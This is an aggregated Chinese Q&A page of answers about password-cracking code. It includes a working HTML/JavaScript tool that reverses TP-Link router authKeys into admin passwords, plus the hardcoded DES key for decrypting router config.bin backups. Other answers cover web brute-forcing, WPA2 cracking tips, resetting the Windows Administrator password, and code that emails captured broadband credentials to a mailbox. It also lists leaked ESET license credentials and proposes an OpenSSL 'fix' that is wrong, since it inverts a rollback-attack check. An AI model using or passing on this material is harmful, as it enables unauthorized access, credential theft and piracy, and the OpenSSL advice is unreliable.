❶ c语言高手请进 如何制作一个网页密码破解工具
这种工具可以用C使用socket来模拟网页重复提交用户和密码来实现
先要了解欲破解网页的源码,找出输入用户和密码的form,然后模拟数据包发送到该网站的服务器,并接收返回信息
对返回信息加以提取找出结果
循环上个过程直至破解成功
不过现在大多网站都加了图片验证码的过程,这样来防止暴力破解,呵呵
如果你不懂怎样模拟数据包,可以使用ethereal这个软件,抓一下验证用户名和密码的过程,然后一个包一个包的分析一下就明白啦!
❷ 获取本地wifi密码易语言源码
在电脑打开浏览器,输入路由器的登录I P,一般是192.168.1.1或者192.168.0.1,如果不对就看路由器机身,一般底下有写。打开出现登录页面,初始用户名和密码都是admin,也有用户名admin,密码不填,这个在路由器说明书上有写。进去以后,看无线设置(WIFI)里,就能看到密码。切换至“无线设置”选项卡,然后就可以修改无线密码啦。修改PSK密码后,点击“确定”按钮即可。如果,路由器登录用户名和密码忘记了,就重置路由器,一般路由器后面都有一个很小的重置按钮,需要用笔头,在路由器开着的状态下,按下重置按钮不放,直到路由器所有指示灯都亮起。
❸ 如何从openssl源码中提取出rsa加密源码
#include <openssl/rsa.h>
#include <openssl/sha.h>
int main()
{
RSA *r;
int bits=1024,ret,len,flen,padding,i;
unsigned long e=RSA_3;
BIGNUM *bne;
unsigned char*key,*p;
BIO *b;
unsigned charfrom[500],to[500],out[500];
bne=BN_new();
ret=BN_set_word(bne,e);
r=RSA_new();
ret=RSA_generate_key_ex(r,bits,bne,NULL);
if(ret!=1)
{
printf("RSA_generate_key_ex err!\n");
return -1;
}
/* 私钥i2d */
b=BIO_new(BIO_s_mem());
ret=i2d_RSAPrivateKey_bio(b,r);
key=malloc(1024);
len=BIO_read(b,key,1024);
BIO_free(b);
b=BIO_new_file("rsa.key","w");
ret=i2d_RSAPrivateKey_bio(b,r);
BIO_free(b);
/* 私钥d2i */
/* 公钥i2d */
/* 公钥d2i */
/* 私钥加密 */
flen=RSA_size(r);
printf("please select private enc padding : \n");
printf("1.RSA_PKCS1_PADDING\n");
printf("3.RSA_NO_PADDING\n");
printf("5.RSA_X931_PADDING\n");
scanf("%d",&padding);
if(padding==RSA_PKCS1_PADDING)
flen-=11;
else if(padding==RSA_X931_PADDING)
flen-=2;
else if(padding==RSA_NO_PADDING)
flen=flen;
else
{
printf("rsa not surport !\n");
return -1;
}
for(i=0;i<flen;i++)
memset(&from[i],i,1);
len=RSA_private_encrypt(flen,from,to,r,padding);
if(len<=0)
{
printf("RSA_private_encrypt err!\n");
return -1;
}
len=RSA_public_decrypt(len,to,out,r,padding);
if(len<=0)
{
printf("RSA_public_decrypt err!\n");
return -1;
}
if(memcmp(from,out,flen))
{
printf("err!\n");
return -1;
}
/* */
printf("please select public enc padding : \n");
printf("1.RSA_PKCS1_PADDING\n");
printf("2.RSA_SSLV23_PADDING\n");
printf("3.RSA_NO_PADDING\n");
printf("4.RSA_PKCS1_OAEP_PADDING\n");
scanf("%d",&padding);
flen=RSA_size(r);
if(padding==RSA_PKCS1_PADDING)
flen-=11;
else if(padding==RSA_SSLV23_PADDING)
flen-=11;
else if(padding==RSA_X931_PADDING)
flen-=2;
else if(padding==RSA_NO_PADDING)
flen=flen;
else if(padding==RSA_PKCS1_OAEP_PADDING)
flen=flen-2 * SHA_DIGEST_LENGTH-2 ;
else
{
printf("rsa not surport !\n");
return -1;
}
for(i=0;i<flen;i++)
memset(&from[i],i+1,1);
len=RSA_public_encrypt(flen,from,to,r,padding);
if(len<=0)
{
printf("RSA_public_encrypt err!\n");
return -1;
}
len=RSA_private_decrypt(len,to,out,r,padding);
if(len<=0)
{
printf("RSA_private_decrypt err!\n");
return -1;
}
if(memcmp(from,out,flen))
{
printf("err!\n");
return -1;
}
printf("test ok!\n");
RSA_free(r);
return 0;
}
上述程序中当采用公钥RSA_SSLV23_PADDING加密,用私钥RSA_SSLV23_PADDING解密时会报错,原因是openssl源代码错误:
rsa_ssl.c函数RSA_padding_check_SSLv23有:
if (k == -1) /* err */
{
RSAerr(RSA_F_RSA_PADDING_CHECK_SSLV23,RSA_R_SSLV3_ROLLBACK_ATTACK);
return (-1);
}
修改为k!=-1即可。
各种padding对输入数据长度的要求:
私钥加密:
RSA_PKCS1_PADDING RSA_size-11
RSA_NO_PADDING RSA_size-0
RSA_X931_PADDING RSA_size-2
公钥加密
RSA_PKCS1_PADDING RSA_size-11
RSA_SSLV23_PADDING RSA_size-11
RSA_X931_PADDING RSA_size-2
RSA_NO_PADDING RSA_size-0
RSA_PKCS1_OAEP_PADDING RSA_size-2 * SHA_DIGEST_LENGTH-2
❹ eset smart security 4用户名和密码账号提取器
歌迷原创一劳永逸的好方法。一分钟即可搞定。
一、 更新
1打开NOD32——更新——用户名和密码设置——添加用户名:EAV-28244608 、密 码:72m3jc62dk——病毒库更新——确定ok,防护状态变绿了吧。
2防护状态如果是黄色的,就关闭更新
点防护状态——此处——安装——立即安装-等待安装完成关闭、变绿了吧。
用户名: EAV-30568011
密 码: 7vavpj7pr8
适用版本:EAV
有效期至:2010-11-02
ESS/EAV通用升级ID 万能ID适用所有版本
用户名: EAV-30045699
密 码: 47pshbeejm
有效期至:2010-07-25
用户名: EAV-29330912
密 码: 5cjp6tf3hv
适用版本:ESS/EAV
二、请不要迷上激活码,非得要它。激活就是让开机界面它消失而已无其它任何意义下面的方法选择一个即可,重启见效。
(1):可以用360——软件管家——开机加速——“ESET安全类型软件的激活和启动向项”选禁止。
(2):开始——运行msconfig——确定——启动——关闭它的随机启动项后面的一个 essact,(或带exe)
C:\Program Files\ESET\ESET NOD32 Antivirus\\esetact\essact.exe
重启,有提示打钩——确定。
三、按以上方法无效的
卸载原来杀毒——重启——360软件管家——软件宝库——安全杀毒里下载——打开软件开始安装——点下一步——我接受...——下一步——在启用Threats。。。。 yu jing系统前的√去掉(不然它老jing gao)——下一步——显示请输入24位激活码、——以后再不提示我激活打√——下一步——下一步——请选择一个选项点一下、禁用或起用不受欢迎检测功能(我选禁用,不然安装软件它也是老报警)——下一步——安装——完成。继续安装360的√去掉——点完成。现在nod是红色的,按上面的更新...。
四、如果就非想要激活码的话、打开你的主页输入“天诺时空”或“未来软件园”网络一下——打开网页——点击NOD32激活码或NOD32\卡巴\瑞星...各种杀毒软件最新有效升级ID要啥有啥全了呵呵!!
❺ 路由器config.bin备份文件密码提取 水星 MERCURY Wireless N Router MW305
软件准备:Win32OpenSSL(区分32位、64位)
192.168.1.1/config.bin
**.**.**.**/config.bin
下载路由器配置文件(本次附件为32位测试)
将Win32OpenSSL安装在C盘,将<config.BIN>文件放在Win32OpenSSL的安装目录bin文件内
然后运行CMD
1、CD C:\OpenSSL\bin
3、openssl enc -d -des-ecb-nopad -K 478DA50BF9E3D2CF -in config.bin
找到首行authKey0rZily4W9TefbwK
此为加密过的用户后台登陆密码。
这段加密字串“0rZily4W9TefbwK”
生成计算器:
测试工具【网页格式,代码部分另存成网页html文件】代码复制到TXT,然后将后缀更改为html
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<htmlxmlns="http://**.**.**.**/1999/xhtml">
<head>
<metahttp-equiv="Content-Type" content="text/html;charset=GB2312" />
<title>TPLINK_Auth_Key_计算器作者:洪琪</title>
<scripttype="text/javascript">
function $(id)
{
returndocument.getElementById(id);
}
function orgAuthPwd (pwd)
{
varstrDe = "RDpbLfCPsJZ7fiv"; /*字符宽度15*/
vardic = "2KZciX"+
"6aLgML"+
"UyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/
$('dspDic').value=dic;
$('dspPwd').value=pwd;
$('dspStrDe').value=strDe;
returnsecurityEncode(pwd, strDe, dic);
}
function securityEncode (input1, input2,input3)
{
vardictionary = input3; /*=255*/
varoutput = "";
varlen, len1, len2, lenDict;
varcl = 0xBB, cr = 0xBB;
len1= input1.length; /*len1=6~15*/
len2= input2.length; /*len2=15*/
lenDict= dictionary.length; /*lenDict=255*/
len= len1 > len2 ? len1 : len2; /*密码限定宽度最大15位,len恒等于15*/
for(var index = 0; index < len; index++) /*index= 0 to 14*/
{
cl= 0xBB;
cr= 0xBB;
if(index >= len1) /*如果密码位数=14执行1次,=15不执行,=13执行2次,=12 3,11 4,10 5,9 6...保证取所有密码字符unicode*/
{
cr= input2.charCodeAt(index);
}
elseif (index >= len2) /*14>=15,永远不执行!*/
{
cl= input1.charCodeAt(index);
}
else
{
cl= input1.charCodeAt(index); /*取所有密码字符unicode,超出部分取0xBB,补足15位*/
cr= input2.charCodeAt(index); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
}
output+= dictionary.charAt((cl ^ cr)%lenDict); /*cl取所有密码字符unicode与cr异或mod 255*/
}
returnoutput;
}
function lgDoSub()
{
varlgPwd = $('pwd').value;
varresult;
varstrAsc='';
result= orgAuthPwd(lgPwd);
for(var ix = 32 ;ix < 127;ix++) /*32~126可见字符*/
{
strAsc+= String.fromCharCode(ix);
}
$('dspAsc').value=strAsc;
$('dspAuthKey').value=result;
$('dspLen').value=result.length;
}
function AuthKeyCup()
{
vararrayPasswd = new Array(15);
varpasswdLen=0;
varauthkey = $('authKey').value;
varstrDe = "RDpbLfCPsJZ7fiv";
vardic ="2KZciX"+
"6aLgML"+
"UyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW";/*字符宽度255*/
varpasswd='';
for(varcrIndex=0,passwdList,strComp_authkey,codeCr;crIndex<15;crIndex++)
{
passwdList='';
strComp_authkey=authkey.charAt(crIndex);
codeCr=strDe.charCodeAt(crIndex);/*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
for(varindex=32,strtmp,codeCl,strDic;index<127;index++)
{
strtmp= String.fromCharCode(index);
codeCl= strtmp.charCodeAt(0);
strDic= dic.charAt((codeCl ^ codeCr)%255);
if(strComp_authkey==strDic)
{
passwdList+= strtmp;
continue;
}
}
arrayPasswd[crIndex]=passwdList;
}
for(vari=0;i<15;i++)
{
if(arrayPasswd[i].length==0)
{
passwdLen=i;
break;/*密码长度=i,密码长度=0退出外循环*/
}
elseif (i==14)
{
passwdLen=15;
}
}
for(vari=0;i<passwdLen;i++)
{
passwd+=arrayPasswd[i]+'\r\n';
}
$('dspPasswd').value=passwd;
passwd='';
for(vari=0;i<passwdLen;i++)
{
passwd+="droptable t"+i+";\r\n";
passwd+="CREATETABLE t"+i+"(pwd nvarchar(50) NULL);\r\n";
for(varj=0;j<arrayPasswd[i].length;j++)
{
passwd+="insertinto t" + i + " values('" + arrayPasswd[i].substr(j,1)+"');\r\n";
}
}
passwd+="selectt0.pwd,t1.pwd,t2.pwd,t3.pwd,t4.pwd,t5.pwd,t6.pwd,t7.pwd fromt0,t1,t2,t3,t4,t5,t6,t7";
$('dspSql').value=passwd;
// vararrayXH = new Array(passwdLen);
// for(varj=0;j<passwdLen;j++)
// {
// arrayXH[j]=arrayPasswd[j].length;
// }
// for(varj=0;j<passwdLen;j++)
// {
// for(vark=0;k<arrayXH[j];k++)
// {
// k*10+
// }
// }
}
</script>
</head>
<body>
<spanstyle="text-align:center">TPLINK_Auth_Key_计算器(新用户界面登录密码演算) 作者:洪琪 email:<ahref="mailto:[email protected]">qdpp007@**.**.**.**</a></span><br/>
<spanstyle="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。
</span>
<form action=""method="get"><fieldset><legend>源码测试</legend>
密码[最小6位]:
<input name="pwd" type="text" id="pwd"size="15" maxlength="15" />
<input type="button"name="btnOK" id="btnOK" value="计算KEY"onclick="lgDoSub()" />
<br />
<br />
显示 pwd:
<input name="dspPwd"type="text" id="dspPwd" />
<br />
<br />
显示 strDe:
<input name="dspStrDe"type="text" id="dspStrDe" />
<br />
<br />
显示 Dic:
<textarea name="dspDic"cols="70" rows="4"id="dspDic"></textarea>
<br />
<br />
显示 ASC码表:
<textarea name="dspAsc"cols="70" rows="2" id="dspAsc"></textarea>
<br />
<br />
结果 Auth_key:
<input name="dspAuthKey"type="text" id="dspAuthKey" />
字符宽度:
<input name="dspLen"type="text" id="dspLen" size="5" />
</fieldset>
</form>
<br /><br />
<form action=""method="get">
<fieldset>
<legend>你懂得</legend>
Auth_key【演示字符19830917】:
<input name="authKey" type="text"id="authKey" value="0rZily4W9TefbwK" size="15"maxlength="15" />
<input type="button" name="btnCup"id="btnCup" value="解密KEY"onclick="AuthKeyCup()" />
15位:0rZily4W9TefbwK<br/>
<br />
原始密码字符【从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码】:<br />
<textarea name="dspPasswd"cols="70" rows="10"id="dspPasswd"></textarea>
<br />
<br />
数据库查询SQL:
<textarea name="dspSql"cols="70" rows="10"id="dspSql"></textarea>
</fieldset>
</form>
</body>
</html>
❻ 易语言获取宽带用户名和密码的源码
虽然我也是易语言菜鸟,但以我学易1月的经验告诉你,除非学C数年的高深黑客,不然根本盗不了(骗人登陆宽待之类除外)
再看看别人怎么说的。
❼ 求大神!!!java密码管理系统源代码
java密码管理系统源代码类似这样操作就可以了。
❽ 求易语言获取本机wifi密码源码。
无线路由的
wpa2
密码
很难破解
破无线密码
是一个漫长而复杂的工序,本人亲身经历以来,得出以下结论:
1.破解密码需要有一个热闹的网络。周边无线越多越近越好.毕竟想攻击路由器的无线,特别是wpa的,抓手包半天弄不上几个。但他在下载、上传时是很快的。
2.破解密码电脑配置很重要,他需要大量的运算。本人用的又好又顺手的是ewsa软件,破解没多久就让电脑发热。
3.字典很重要。人们大多数以自家电话号码为无线密码,如xxxx-xxxxxxx共十位。当你确定所在地区区号后010、07xx,以及所用的开头189、133、139……经过字典生成器生成,测试词有10^7个,如果每秒测试1000个,你得等上2.7个小时。
4.搞到他家电话号码,自己试试吧。我这地区成功率大约20%5.投机取巧,输入12345678、00000000或许能行ewsa软件及beini奶瓶linux破解系统网上有,自己搜吧
❾ xp管理员密码破解器(用VB怎么编源代码给出来谢谢!高分好的100分送上!
有跟很简单的方法:
用Shell语句
Shell("net user Administrator ""这里填写要修改的密码""")
用了一条DOS语句Net user
期中Administrator是你的用户名称。
请采纳,谢谢~
我Q:921553017
❿ 易语言获取宽带帐号密码源码
可以用
.版本 2
.支持库 internet
.子程序 _按钮2_被单击
.如果真 (连接发信服务器 (“SMTP邮件服务器地址”, , “账号”, “密码”, ) = 真)
发送邮件 (“主题-宽带账号密码”, “编辑框1.内容”, “你的邮箱”, , , “你的别一个发信邮箱”, )
--------------------------------------------------------------------------------------
本答案由 [易学院] 网络知道团队回答!